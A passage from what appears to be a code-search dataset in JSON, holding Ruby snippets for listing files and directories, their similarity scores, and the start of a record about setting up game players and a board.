"def c_refresh\n $filterstr ||= \"M\"\n #$files = `zsh -c 'print -rl -- *(#{$sorto}#{$hidden}#{$filterstr})'`.split(\"\\n\")\n $patt=nil\n $title = nil\n display_dir\nend",
"def find_next\n status = `git status -s`.lines.reject(&:nil?).grep(/.. (PCL|tsion|steveklabnik)\\//)\n return nil if status.empty?\n\n first = status.map{|x| x.gsub(/^.. /, '') }.first.strip\n \n if File.directory?(first) \n return [first, [first]]\n else\n name = first.split('/')[-1].split('_', 2)[1]\n end\n\n pcl = find_file('PCL', name)\n tsion = find_file('tsion', name)\n steve = find_file('steveklabnik', name)\n\n [name, [pcl, tsion, steve]]\n end",
"def files_in branch:\n array_output_of(\"git ls-tree -r --name-only #{branch}\")\nend",
"def list(client, current_path)\n\n\tfiles = Dir.glob(\"#{current_path}/files/*\")\n\tclient.puts \"\\nList of Files:\"\n\tfiles.each{ |file|\n\tfile.slice! \"#{current_path}/files/\"}\n\tclient.puts files\n\nend",
"def get_files(src)\n files = Array.new\n if File.directory? src\n Find.find(src) do |path|\n next if File.directory? path\n files.push path\n end\n else\n log(\"error: source directory of \\\"#{src}\\\" does not exist!\")\n exit 2\n end\n files.reverse\nend",
"def enhance_file_list\n return unless $enhanced_mode\n # if only one entry and its a dir\n # get its children and maybe the recent mod files a few\n \n # zsh gives errors which stick on stdscr and don't get off!\n # Rather than using N I'll try to convert to ruby, but then we lose\n # similarity to cetus and its tough to redo all the sorting stuff.\n if $files.size == 1\n # its a dir, let give the next level at least\n if $files.first[-1] == \"/\"\n d = $files.first\n #f = `zsh -c 'print -rl -- #{d}*(omM)'`.split(\"\\n\")\n f = get_file_list d\n if f && f.size > 0\n $files.concat f\n $files.concat get_important_files(d)\n return\n end\n else\n # just a file, not dirs here\n return\n end\n end\n # \n # check if a ruby project dir, although it could be a backup file too,\n # if so , expand lib and maby bin, put a couple recent files\n #\n if $files.index(\"Gemfile\") || $files.grep(/\\.gemspec/).size > 0\n # usually the lib dir has only one file and one dir\n flg = false\n $files.concat get_important_files(Dir.pwd)\n if $files.index(\"lib/\")\n f = `zsh -c 'print -rl -- lib/*(om[1,5]MN)'`.split(\"\\n\")\n if f && f.size() > 0\n insert_into_list(\"lib/\", f)\n flg = true\n end\n dd = File.basename(Dir.pwd)\n if f.index(\"lib/#{dd}/\")\n f = `zsh -c 'print -rl -- lib/#{dd}/*(om[1,5]MN)'`.split(\"\\n\")\n if f && f.size() > 0\n insert_into_list(\"lib/#{dd}/\", f)\n flg = true\n end\n end\n end\n if $files.index(\"bin/\")\n f = `zsh -c 'print -rl -- bin/*(om[1,5]MN)'`.split(\"\\n\")\n insert_into_list(\"bin/\", f) if f && f.size() > 0\n flg = true\n end\n return if flg\n\n # lib has a dir in it with the gem name\n\n end\n return if $files.size > 15\n\n ## first check accessed else modified will change accessed\n moda = `zsh -c 'print -rn -- *(/oa[1]MN)'`\n if moda && moda != \"\"\n modf = `zsh -c 'print -rn -- #{moda}*(oa[1]MN)'`\n if modf && modf != \"\"\n insert_into_list moda, modf\n end\n modm = `zsh -c 'print -rn -- #{moda}*(om[1]MN)'`\n if modm && modm != \"\" && modm != modf\n insert_into_list moda, modm\n end\n end\n ## get last modified dir\n modm = `zsh -c 'print -rn -- *(/om[1]MN)'`\n if modm != moda\n modmf = `zsh -c 'print -rn -- #{modm}*(oa[1]MN)'`\n insert_into_list modm, modmf\n modmf1 = `zsh -c 'print -rn -- #{modm}*(om[1]MN)'`\n insert_into_list(modm, modmf1) if modmf1 != modmf\n else\n # if both are same then our options get reduced so we need to get something more\n # If you access the latest mod dir, then come back you get only one, since mod and accessed\n # are the same dir, so we need to find the second modified dir\n end\nend",
"def result\n # @param <foo>\n puts ::Dir.entries('/app').join(\"\\n\")\nend",
"def dirs; end",
"def dirs; end",
"def ls_tree(treeish)\n sandbox do |git,w,i|\n git.run('', :ls_tree, '', {:r => true, :name_only => true}, [treeish]).split(\"\\n\")\n end\n end",
"def ls( *args )\r\n \r\n directory = nil\r\n opts = {}\r\n \r\n case args.count\r\n when 1\r\n if args[0].kind_of? Hash\r\n opts = args[0]\r\n else\r\n directory = args[0]\r\n end\r\n when 2\r\n directory = args[0]\r\n opts = args[1] \r\n end\r\n \r\n # args are the RPC arguments ...\r\n args = {}\r\n args[:path] = directory if directory\r\n args[:recursive] = true if opts[:recurse]\r\n args[:detail] = true if opts[:detail] \r\n args.delete(:detail) if( args[:detail] and args[:recursive])\r\n \r\n # RPC output format, default is XML\r\n outf = { :format => 'text' } if opts[:format] == :text\r\n \r\n got = @ndev.rpc.file_list( args, outf )\r\n return nil unless got\r\n \r\n return got.text if opts[:format] == :text\r\n return got if opts[:format] == :xml\r\n \r\n # if we're here, then we need to conver the output \r\n # to a Hash. Joy!\r\n \r\n collect_detail = args[:detail] || args[:recursive]\r\n \r\n ls_hash = {}\r\n got.xpath('directory').each do |dir|\r\n \r\n dir_name = dir.xpath('directory-name').text.strip\r\n dir_hash = {}\r\n \r\n dir_hash[:fileblocks] = dir.xpath('total-file-blocks').text.to_i\r\n files_info = dir.xpath('file-information')\r\n \r\n dir_hash[:files] = {} \r\n dir_hash[:dirs] = {} # sub-directories\r\n \r\n files_info.each do |file|\r\n f_name = file.xpath('file-name').text.strip\r\n f_h = {} \r\n \r\n if file.xpath('file-directory')[0]\r\n dir_hash[:dirs][f_name] = f_h\r\n else\r\n dir_hash[:files][f_name] = f_h \r\n end\r\n \r\n next unless collect_detail\r\n \r\n f_h[:owner] = file.xpath('file-owner').text.strip\r\n f_h[:group] = file.xpath('file-group').text.strip\r\n f_h[:links] = file.xpath('file-links').text.to_i\r\n f_h[:size] = file.xpath('file-size').text.to_i\r\n \r\n xml_when_item(file.xpath('file-symlink-target')) { |i|\r\n f_h[:symlink] = i.text.strip\r\n }\r\n \r\n fp = file.xpath('file-permissions')[0]\r\n f_h[:permissions_text] = fp.attribute('format').value\r\n f_h[:permissions] = fp.text.to_i\r\n \r\n fd = file.xpath('file-date')[0]\r\n f_h[:date] = fd.attribute('format').value\r\n f_h[:date_epoc] = fd.text.to_i\r\n \r\n end # each directory file\r\n ls_hash[ dir_name ] = dir_hash \r\n end # each directory\r\n \r\n return nil if ls_hash.empty?\r\n ls_hash\r\n end",
"def list\n Dir.glob(\"#{@path}/**/*\").select{|path| File.file?(path) }.map do |path|\n path.sub Regexp.new(\"^#{@path}\\/\"), ''\n end\n end",
"def file_list\n end",
"def system_lists\n cmds = [ ['gem list', 'gems'], ['port installed','ports'], ['ls ~/apps', 'apps.ls'],\n ['find /mnt/m', 'm.find'], ['find ~/Music/mine', 'music.find'], ['find ~/Pictures',\n 'pictures.find'], ['find ~/misc', 'misc.find']\n ]\n cmds.each do |shell_cmd, file|\n cmd = \"#{shell_cmd} > #{File.join('~/backup/lists', file)}\"\n system cmd\n end\n end",
"def ls\n @files.each_with_index.map do |file, i|\n { file: (@path.nil? ? file.path : file.path.relative_path_from(@path)).to_s, selected: @selected_files.include?(file) }\n end\n end",
"def file_system(op, path)\n path = @mudlib_path + path\n if op == :ls\n return Dir.entries(path)\n elsif op == :cat\n if File.file?(path)\n\treturn File.read(path)\n else\n\treturn \"File not found\"\n end\n end\n end",
"def ls(route)\n\ta = Dir.entries(route)\n\texp = /^[a-zA-Z|0-9]/\n\ta.each do | file |\n\t\tif (exp.match(file))\n\t\t\t#puts file\n\t\t\tsend_mess(file)\n\t\tend\n\tend\nend",
"def nlst(msg) # :yields: nil\n Dir[\"*\"].join \" \" \n end",
"def list_files dir='*', sorto=@sorto, hidden=@hidden, _filter=@filterstr\n dir += '/*' if File.directory?(dir)\n dir = dir.gsub('//', '/')\n\n # decide sort method based on second character\n # first char is o or O (reverse)\n # second char is macLn etc (as in zsh glob)\n so = sorto ? sorto[1] : nil\n func = case so\n when 'm'\n :mtime\n when 'a'\n :atime\n when 'c'\n :ctime\n when 'L'\n :size\n when 'n'\n :path\n when 'x'\n :extname\n end\n\n # sort by time and then reverse so latest first.\n sorted_files = if hidden == 'D'\n Dir.glob(dir, File::FNM_DOTMATCH) - %w[. ..]\n else\n Dir.glob(dir)\n end\n\n # WARN: crashes on a deadlink since no mtime\n if func\n sorted_files = sorted_files.sort_by do |f|\n if File.exist? f\n File.send(func, f)\n else\n sys_stat(func, f)\n end\n end\n end\n\n sorted_files.sort! { |w1, w2| w1.casecmp(w2) } if func == :path && @ignore_case\n\n # zsh gives mtime sort with latest first, ruby gives latest last\n sorted_files.reverse! if sorto && sorto[0] == 'O'\n\n # add slash to directories\n sorted_files = add_slash sorted_files\n # return sorted_files\n @files = sorted_files\n calculate_bookmarks_for_dir # we don't want to override those set by others\nend",
"def rc_dirs; end",
"def volume_ls\n help = [\n '',\n \"Use: #{me} volume ls\",\n '',\n 'Lists the names of all cyber-dojo volumes',\n '',\n minitab + '--quiet Only display volume names'\n ]\n\n if ['help','--help'].include? ARGV[2]\n show help\n exit failed\n end\n\n # There is currently no [--filter label=LABEL] option on [docker volume ls]\n # https://github.com/docker/docker/pull/21567\n # So I have to inspect all volumes. Could be slow if lots of volumes.\n\n names = run(\"docker volume ls --quiet\").split\n names = names.select{ |name| cyber_dojo_volume?(name) }\n\n if ARGV[2] == '--quiet'\n names.each { |name| puts name }\n else\n types = names.map { |name| cyber_dojo_type(name) }\n urls = names.map { |name| cyber_dojo_label(name) }\n\n headings = { :name => 'NAME', :type => 'TYPE', :url => 'SRC' }\n\n gap = 3\n max_name = ([headings[:name]] + names).max_by(&:length).length + gap\n max_type = ([headings[:type]] + types).max_by(&:length).length + gap\n max_url = ([headings[:url ]] + urls ).max_by(&:length).length + gap\n\n spaced = lambda { |max,s| s + (space * (max - s.length)) }\n\n name = spaced.call(max_name, headings[:name])\n type = spaced.call(max_type, headings[:type])\n url = spaced.call(max_url , headings[:url ])\n puts name + type + url\n names.length.times do |n|\n name = spaced.call(max_name, names[n])\n type = spaced.call(max_type, types[n])\n url = spaced.call(max_url , urls[n])\n puts name + type + url\n end\n end\nend",
"def files\n return unless git_repo?\n output = Licensed::Shell.execute(\"git\", \"ls-files\", \"--full-name\", \"--recurse-submodules\")\n output.lines.map(&:strip)\n end",
"def list\n Dir.glob(\"#{@directory}/**/*\").reject(&File.directory?).map do |p|\n Pathname.new(p).relative_path_from(@directory)\n end\n end",
"def list_files(paths = T.unsafe(nil), options = T.unsafe(nil)); end",
"def list_files(paths = T.unsafe(nil), options = T.unsafe(nil)); end",
"def refresh\n $files = `zsh -c 'print -rl -- *(#{$sorto}#{$hidden}M)'`.split(\"\\n\")\n $patt=nil\nend",
"def listFiles()\n #N Without this the files won't get listed\n contentHost.listFiles(baseDir)\n end",
"def file_listing(commit)\n # The only reason this doesn't work 100% of the time is because grit doesn't :/\n # if i find a fix, it'll go upstream :D\n count = 0\n out = commit.diffs.map do |diff|\n count = count + 1\n if diff.deleted_file\n %(<li class='file_rm'><a href='#file_#{count}'>#{diff.a_path}</a></li>)\n else\n cla = diff.new_file ? \"add\" : \"diff\"\n %(<li class='file_#{cla}'><a href='#file_#{count}'>#{diff.a_path}</a></li>)\n end\n end\n \"<ul id='files'>#{out.join}</ul>\"\n end",
"def local_ls(*args)\n begin\n @model_local.clear\n path = args[0] || @parent_local\n path = dirname(path)\n @local_path.set_text(path)\n\n Dir.entries(path).each do |file|\n if FileTest.directory?(path + File::SEPARATOR + file)\n is_dir = true\n else\n is_dir = false\n end\n iter = @model_local.append\n iter[COL_DISPLAY_NAME] = GLib.filename_to_utf8(file)\n iter[COL_PATH] = path\n iter[COL_IS_DIR] = is_dir\n iter[COL_PIXBUF] = is_dir ? @folder_pixbuf : @file_pixbuf\n iter[COL_TYPE] = \"local\"\n end\n @parent_local = path\n\n # If not possible return a *warning***\n rescue ::Exception => e\n MsfDialog::Warning.new(self, \"Local Browser\", e.to_s)\n local_ls\n end\n end",
"def dir=(_arg0); end",
"def ls(pattern = '**/*', **_opts)\n Enumerator.new do |y|\n walk(pattern) do |path, _|\n y << path if File.fnmatch?(pattern, path, File::FNM_PATHNAME)\n end\n end\n end",
"def svn_ls( url=nil )\n\turl ||= get_svn_url()\n\tlist = IO.read( '|-' ) or exec 'svn', 'ls', url\n\n\ttrace 'svn ls of %s: %p' % [url, list] if $trace\n\t\n\treturn [] if list.nil? || list.empty?\n\treturn list.split( $INPUT_RECORD_SEPARATOR )\nend",
"def ls(pattern='**/*', _opts={})\n root = pattern[%r{^[^\\*\\?\\{\\}\\[\\]]+/}]\n root.chomp!('/') if root\n Enumerator.new do |y|\n glob(root) do |path|\n y << path if File.fnmatch?(pattern, path, File::FNM_PATHNAME)\n end\n end\n end",
"def enhance_file_list\n return unless @enhanced_mode\n @current_dir ||= Dir.pwd\n\n begin\n actr = @files.size\n\n # zshglob: M = MARK_DIRS with slash\n # zshglob: N = NULL_GLOB no error if no result, this is causing space to split\n # file sometimes for single file.\n\n # if only one entry and its a dir\n # get its children and maybe the recent mod files a few\n # FIXME: simplify condition into one\n if @files.size == 1\n # its a dir, let give the next level at least\n return unless @files.first[-1] == '/'\n\n d = @files.first\n # zshglob: 'om' = ordered on modification time\n # f1 = `zsh -c 'print -rl -- #{d}*(omM)'`.split(\"\\n\")\n f = get_files_by_mtime(d)\n\n if f && !f.empty?\n @files.concat f\n @files.concat get_important_files(d)\n end\n return\n end\n #\n # check if a ruby project dir, although it could be a backup file too,\n # if so , expand lib and maybe bin, put a couple recent files\n # FIXME: gemspec file will be same as current folder\n if @files.index('Gemfile') || !@files.grep(/\\.gemspec/).empty?\n\n if @files.index('app/')\n insert_into_list('config/', \"config/routes.rb\")\n end\n\n # usually the lib dir has only one file and one dir\n # NOTE: avoid lib if rails project\n flg = false\n @files.concat get_important_files(@current_dir)\n if @files.index('lib/') && !@files.index('app/')\n # get first five entries by modification time\n # f1 = `zsh -c 'print -rl -- lib/*(om[1,5]MN)'`.split(\"\\n\")\n f = get_files_by_mtime('lib')&.first(5)\n # @log.warn \"f1 #{f1} != #{f} in lib\" if f1 != f\n if f && !f.empty?\n insert_into_list('lib/', f)\n flg = true\n end\n\n # look into lib file for that project\n # lib has a dir in it with the gem name\n dd = File.basename(@current_dir)\n if f.index(\"lib/#{dd}/\")\n # f1 = `zsh -c 'print -rl -- lib/#{dd}/*(om[1,5]MN)'`.split(\"\\n\")\n f = get_files_by_mtime(\"lib/#{dd}\")&.first(5)\n # @log.warn \"2756 f1 #{f1} != #{f} in lib/#{dd}\" if f1 != f\n if f && !f.empty?\n insert_into_list(\"lib/#{dd}/\", f)\n flg = true\n end\n end\n end\n\n # look into bin directory and get first five modified files\n # FIXME: not in the case of rails, only for commandline programs\n if @files.index('bin/') && !@files.index('app/')\n # f1 = `zsh -c 'print -rl -- bin/*(om[1,5]MN)'`.split(\"\\n\")\n f = get_files_by_mtime('bin')&.first(5)\n # @log.warn \"2768 f1 #{f1} != #{f} in bin/\" if f1 != f\n insert_into_list('bin/', f) if f && !f.empty?\n flg = true\n end\n\n # oft used rails files\n # TODO remove concerns dir\n # FIXME too many files added, try adding recent only\n if @files.index('app/')\n [ \"app/controllers\", \"app/models\", \"app/views\" ].each do |dir|\n f = get_files_by_mtime(dir)&.first(5)\n if f && !f.empty?\n @log.debug \"f has #{f.count} files before\"\n @log.debug \"f has #{f} files before\"\n f = get_recent(f)\n @log.debug \"f has #{f.count} files after\"\n @log.debug \"f has #{f} files after\"\n insert_into_list(\"#{dir}/\", f) unless f.empty?\n end\n end\n\n insert_into_list('config/', \"config/routes.rb\")\n\n # top 3 dirs in app dir\n f = get_files_by_mtime('app/')&.first(3)\n insert_into_list('app/', f) if f && !f.empty?\n flg = true\n end\n return if flg\n\n\n end # Gemfile\n\n # 2019-06-01 - added for crystal and other languages\n if @files.index('src/')\n f = get_files_by_mtime('src')&.first(5)\n insert_into_list('src/', f) if f && !f.empty?\n end\n return if @files.size > 15\n\n # Get most recently accessed directory\n ## NOTE: first check accessed else modified will change accessed\n # 2019-03-28 - adding NULL_GLOB breaks file name on spaces\n # print -n : don't add newline\n # zzmoda = `zsh -c 'print -rn -- *(/oa[1]MN)'`\n # zzmoda = nil if zzmoda == ''\n moda = get_most_recently_accessed_dir\n # @log.warn \"Error 2663 #{zzmoda} != #{moda}\" if zzmoda != moda\n if moda && moda != ''\n\n # get most recently accessed file in that directory\n # NOTE: adding NULL_GLOB splits files on spaces\n # FIXME: this zsh one gave a dir instead of file.\n # zzmodf = `zsh -c 'print -rl -- #{moda}*(oa[1]M)'`.chomp\n # zzmodf = nil if zzmodf == ''\n modf = get_most_recently_accessed_file moda\n # @log.warn \"Error 2670 (#{zzmodf}) != (#{modf}) gmra in #{moda} #{zzmodf.class}, #{modf.class} : Loc: #{Dir.pwd}\" if zzmodf != modf\n\n raise \"2784: #{modf}\" if modf && !File.exist?(modf)\n\n insert_into_list moda, modf if modf && modf != ''\n\n # get most recently modified file in that directory\n # zzmodm = `zsh -c 'print -rn -- #{moda}*(om[1]M)'`.chomp\n modm = get_most_recently_modified_file moda\n # zzmodm = nil if zzmodm == ''\n # @log.debug \"Error 2678 (gmrmf) #{zzmodm} != #{modm} in #{moda}\" if zzmodm != modm\n raise \"2792: #{modm}\" if modm && !File.exist?(modm)\n\n insert_into_list moda, modm if modm && modm != '' && modm != modf\n end\n\n ## get most recently modified dir\n # zzmodm = `zsh -c 'print -rn -- *(/om[1]M)'`\n # zzmodm = nil if zzmodm == ''\n modm = get_most_recently_modified_dir\n # @log.debug \"Error 2686 rmd #{zzmodm} != #{modm}\" if zzmodm != modm\n\n if modm != moda\n\n # get most recently accessed file in that directory\n # modmf = `zsh -c 'print -rn -- #{modm}*(oa[1]M)'`\n modmf = get_most_recently_accessed_file modm\n raise \"2806: #{modmf}\" if modmf && !File.exist?(modmf)\n\n insert_into_list modm, modmf\n\n # get most recently modified file in that directory\n # modmf11 = `zsh -c 'print -rn -- #{modm}*(om[1]M)'`\n modmf1 = get_most_recently_modified_file modm\n raise \"2812: #{modmf1}\" if modmf1 && !File.exist?(modmf1)\n\n insert_into_list(modm, modmf1) if modmf1 != modmf\n else\n # if both are same then our options get reduced so we need to get something more\n # If you access the latest mod dir, then come back you get only one, since mod and accessed\n # are the same dir, so we need to find the second modified dir\n end\n ensure\n # if any files were added, then add a separator\n bctr = @files.size\n @files.insert actr, SEPARATOR if actr < bctr\n end\nend",
"def moduleList()\n res = \"\"\n leader = \" \"\n begin\n Dir.foreach($opdir) do |name|\n next unless name =~ /(.*)\\.rb$/\n require File.join(\"ri/op\", $1)\n klass = eval $1\n modDesc = klass::desc\n res << leader << $1 << \": \" << modDesc << \"\\n\"\n end\n rescue\n puts $!\n res = leader + \"no modules found...\"\n end\n res\nend",
"def test_list(path)\n if File.basename(path) =~ /^\\W/\n [] # skip .hiddens and such\n elsif File.directory?(path) then\n puts \"Looking for tests in #{path}\"\n Dir.entries(path).\n collect { |entry| test_list(File.join(path,entry)) }.\n flatten.\n compact\n elsif path =~ /\\.rb$/\n puts \"Found #{path}\"\n [path]\n #[path[/\\S+\\/(\\S+)$/,1]]\n end\nend",
"def readdir(path, fileinfo)\n puts \"#readdir \" + path\n [\"hello.txt\"]\n end",
"def command_rls\n s = StringIO.new \"\"\n list = Dir.new(@directory.path).each do |entry|\n unless entry == \".\"\n s.puts entry.to_s\n end\n end\n\n @client.puts \"OK #{s.size}\"\n\n s.seek 0\n @data_connection.transfer s\n end",
"def list_files\n fail('Requires implementation')\n end",
"def cmd_list(a_cmdfile)\r\n clip = Clipboard.instance\r\n if !File.exist?(a_cmdfile)\r\n clip.paste(\"=> File: #{a_cmdfile} do not exist !\\r\\n\")\r\n puts \"=> File: #{a_cmdfile} do not exist !\"\r\n return\r\n end\r\n result =[]\r\n File.open(a_cmdfile, 'r') do |file|\r\n file.each do |line| \r\n result << line.slice(/(\\w{5,5})(:|;)((\\w|:|=|;|,|\\s|-)*)/).upcase.chomp.rstrip if line =~ /\\A(\\<|:)(\\w{5,5})(:|;)/ \r\n end\r\n end\r\n clip.paste(result.sort.join(\"\\r\\n\"))\r\n result.sort\r\nend",
"def altered_files; `git show --name-only #{node} 2> /dev/null`.split(\"\\n\"); end",
"def dodir(dirname,output)\r\n Dir.foreach(dirname) do |content|\r\n if(content!=\".\" and content!=\"..\" and not content=~/^\\./) then\r\n begin\r\n if(File.directory?(dirname+'/'+content)) then\r\n output.puts \"--- START: [\"+content+\"] ---\\n\"\r\n dodir(dirname+'/'+content,output)\r\n output.puts \"--- END: [\"+content+\"] ---\\n\"\r\n else\r\n dofile(dirname+'/'+content,output) if content=~/.py$/\r\n end\r\n end \r\n end \r\n end\r\nend",
"def ls(pattern = '**/*', **_opts)\n Enumerator.new do |acc|\n walk(pattern) {|path| acc << path }\n end\n end",
"def directory_contents(path)\n\tputs ''\n\tfor i in get_dir_contents(path)\n\t\tputs i\n\tend\n\tputs ''\n\treturn nil\nend",
"def find_files(recusive,sort)\n ext_list = $config[\"series\"][\"media_extentions\"].gsub(/,/,\"|\")\n files = [] \n if File.directory? sort\n Find.find(sort) do |path|\n next if File.dirname(path) != sort and not recusive\n next if File.directory? path\n next if File.basename(path) =~ /^\\./\n next if path !~ /#{ext_list}$/\n files << path\n end\n else\n log(\"error: source directory of \\\"#{sort}\\\" does not exist!\")\n exit 2\n end\n files\nend",
"def listFiles(baseDir)\n #N Without this, the base directory might be missing the final '/', which might cause a one-off error when 'subtracting' the base directory name from the absolute paths to get relative paths\n baseDir = normalisedDir(baseDir)\n #N Without this we wouldn't be executing the command to list all files in the remote directory\n ssh(findFilesCommand(baseDir).join(\" \")) do |line| \n #N Without this we wouldn't be echoing the file name on this line for the user to read\n puts \" #{line}\"\n end\n end",
"def which(cmd); end",
"def which(cmd); end",
"def which(cmd); end",
"def ls(pattern = '**/*', **opts)\n Enumerator.new do |acc|\n walk(pattern, **opts) do |path, _|\n acc << path\n end\n end\n end",
"def all_files; end",
"def all_files; end",
"def ls(path = '/')\n agency = options[:agency]\n ::Taxi::SFTP.new(agency).print_ls(path)\n end",
"def all_files() = path.glob('**/*').select(&:file?).map(&:to_s)",
"def files() = files_path.glob('**/*')",
"def create_list_of_files\n @path=find_repository_and_basepath\n @table.window.setTitle(@path)\n files=[]\n Find.find(@path) do |file|\n # we don't want any files from a repository in the list \n next if file=~/(\\.hg|\\.svn|\\.git|\\.pyc)/ \n\n # neither do we want dotfiles in the list\n next if File.basename(file)=~/^\\./ \n \n # file matches, add it to the resulting list\n files << file if FileTest.file?(file)\n\n # wir bauen hier mal einen kleinen Idiotentest ein. Wenn wir mehr\n # als 10000 Dateien gefunden haben dann sind wir vermtl. in einem \n # falschen Verzeichniss und brechen die Suche ab.\n if files.length>10000\n NSRunInformationalAlertPanel('Large directory found!',\n \"Gathered more than 10k files from directory '#{@path}', aborting search!\",'OK',nil,nil)\n NSApp.stop(self)\n raise 'error'\n end\n end\n #@files=files.sort_by { |match| File.basename(match) }\n @files=files.sort\n end",
"def display_saves\n Dir.children('./saves').each_with_index { |name, idx| puts \"#{idx}. #{name}\" }\nend",
"def find_in(dir); end",
"def list(path='root')\n puts \"#list('#{path}')\"\n listed_files =[]\n @drive.folder = path\n children = @drive.children\n list_files_metadata(children)\n raise 'There are no files in directory' if children.count < 1\n children.each do |item|\n listed_files << \"#{item.path.gsub('/drive/', 'drive/')}/#{item.name}\" unless item.folder?\n end\n @logger.info 'Children list acquired.'\n pp listed_files\n end",
"def whereami() [__FILE__] end",
"def display_files(pathname)\n # `find` doesn't follow symlinks, so we should instead\n realpath = ArduinoCI::Host.symlink?(pathname) ? ArduinoCI::Host.readlink(pathname) : pathname\n\n # suppress directories and dotfile-based things\n all_files = realpath.find.select(&:file?)\n non_hidden = all_files.reject { |path| file_is_hidden_somewhere?(path) }\n\n # print files with an indent\n puts \" Files (excluding hidden files): #{non_hidden.size}\"\n non_hidden.each { |p| puts \" #{p}\" }\nend"
] | [
"0.7076245",
"0.7032267",
"0.6880021",
"0.6787332",
"0.6747785",
"0.6619359",
"0.6599315",
"0.658701",
"0.6564473",
"0.6563392",
"0.65596336",
"0.65389216",
"0.65077794",
"0.6479139",
"0.6426553",
"0.6401661",
"0.63857245",
"0.63857245",
"0.63857245",
"0.6358767",
"0.63586056",
"0.6330198",
"0.63128144",
"0.62821126",
"0.62803435",
"0.6268333",
"0.62633544",
"0.6182304",
"0.61792684",
"0.61468583",
"0.61374354",
"0.6131995",
"0.6114015",
"0.61110574",
"0.6090405",
"0.6069754",
"0.60523385",
"0.60523385",
"0.60427666",
"0.6025507",
"0.6012513",
"0.59967566",
"0.5985726",
"0.59829116",
"0.59690744",
"0.59655637",
"0.59356964",
"0.592039",
"0.592039",
"0.591563",
"0.59130645",
"0.5873172",
"0.5867779",
"0.58658385",
"0.58647215",
"0.5853436",
"0.5846989",
"0.58414286",
"0.5829833",
"0.5822545",
"0.580961",
"0.5801065",
"0.57932746",
"0.5792304",
"0.5790382",
"0.5787227",
"0.578214",
"0.57681364",
"0.57521254",
"0.5742734",
"0.5731847",
"0.5721848",
"0.572042",
"0.57195675",
"0.57187337",
"0.5717941",
"0.57173085",
"0.5713768",
"0.5707891",
"0.5703268",
"0.5684043",
"0.5682739",
"0.5675642",
"0.5673762",
"0.56679034",
"0.5659668",
"0.56592214",
"0.56592214",
"0.56592214",
"0.5655116",
"0.5651503",
"0.5651503",
"0.5642695",
"0.5640785",
"0.5628047",
"0.5627924",
"0.5624143",
"0.56232154",
"0.56221396",
"0.56145066",
"0.56130105"
] | 0.0 | -1 |
Creates the players and the grid | def initialize
@board = Board.new
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_players\n\t\t\t\tnum_players.times do |i|\n\t\t\t\t\tplayer_class = Merlion::Player\n\t\t\t\t\tself.players[i] = create_player({ seat: i, class: player_class })\n\t\t\t\tend\n\t\t\tend",
"def setup_players\n @players = []\n @players << add(Spaceship, 400, 320)\n @players << add(Tank, width/2, height-100)\n end",
"def create_players\n players = []\n players << create_player('player_1')\n players << create_player('player_2')\n players\n end",
"def initialize_board\n # Non-pawns for black player:\n Rook.create(x_position: 1, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Knight.create(x_position: 2, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Bishop.create(x_position: 3, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Queen.create(x_position: 4, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n King.create(x_position: 5, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Bishop.create(x_position: 6, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Knight.create(x_position: 7, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n Rook.create(x_position: 8, y_position: 1, game_id: id, color: \"black\", player_id: black_player_id)\n\n # Non-pawns for white player:\n Rook.create(x_position: 1, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Knight.create(x_position: 2, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Bishop.create(x_position: 3, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Queen.create(x_position: 4, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n King.create(x_position: 5, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Bishop.create(x_position: 6, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Knight.create(x_position: 7, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n Rook.create(x_position: 8, y_position: 8, game_id: id, color: \"white\", player_id: white_player_id)\n\n # Pawns for both players:\n for i in 1..8\n Pawn.create(color: \"black\", x_position: i, y_position: 2, game_id: id, player_id: black_player_id)\n Pawn.create(color: \"white\", x_position: i, y_position: 7, game_id: id, player_id: white_player_id)\n end\n\n self.counter = 0\n # Saves the counter to the database.\n self.save\n end",
"def create #players are in an array\n @players = [\n Player.new('Contestant 1')\n Player.new('Contestant 2')\n ]\n end",
"def setup_game\n name_player = set_name_player\n number_columns = set_number_columns\n number_rabbits = set_number_rabbits(number_columns)\n number_foxs = set_number_foxs(number_columns)\n\n board = build_board(number_columns)\n rabbit_collection = build_rabbit_collection(number_columns, number_rabbits)\n fox_collection = build_fox_collection(number_columns, number_foxs)\n\n\n [ board, name_player, number_columns, rabbit_collection, fox_collection ]\nend",
"def initialize(name1)\r\n @player1=Player1.new(name1)\r\n @grid=Grid.new()\r\n @grid.pretty_print\r\n puts \"\\nYour game is ready!!!\\n\\n\"\r\n game \r\nend",
"def create_player_entities(play_state, players)\n\t\tplayers.each do |curr_player|\n\t\t\tparty_horn = PartyHorn.new\n\t\t\tparty_horn.player = curr_player\n\n\t\t\tpos = next_starting_position\n\t\t\tsub = Submarine.new(pos.x, \n\t\t\t\t\t\t\t\tpos.y, \n\t\t\t\t\t\t\t\t0, \n\t\t\t\t\t\t\t\tPrawn.new(curr_player, party_horn))\n\n\t\t\tsub.player = curr_player\n\t\t\tplay_state.add_entity(sub)\n\n\t\t\tcurr_player.submarine = sub\n\t\t\tcurr_player.party_horn = party_horn\n\t\tend\n\tend",
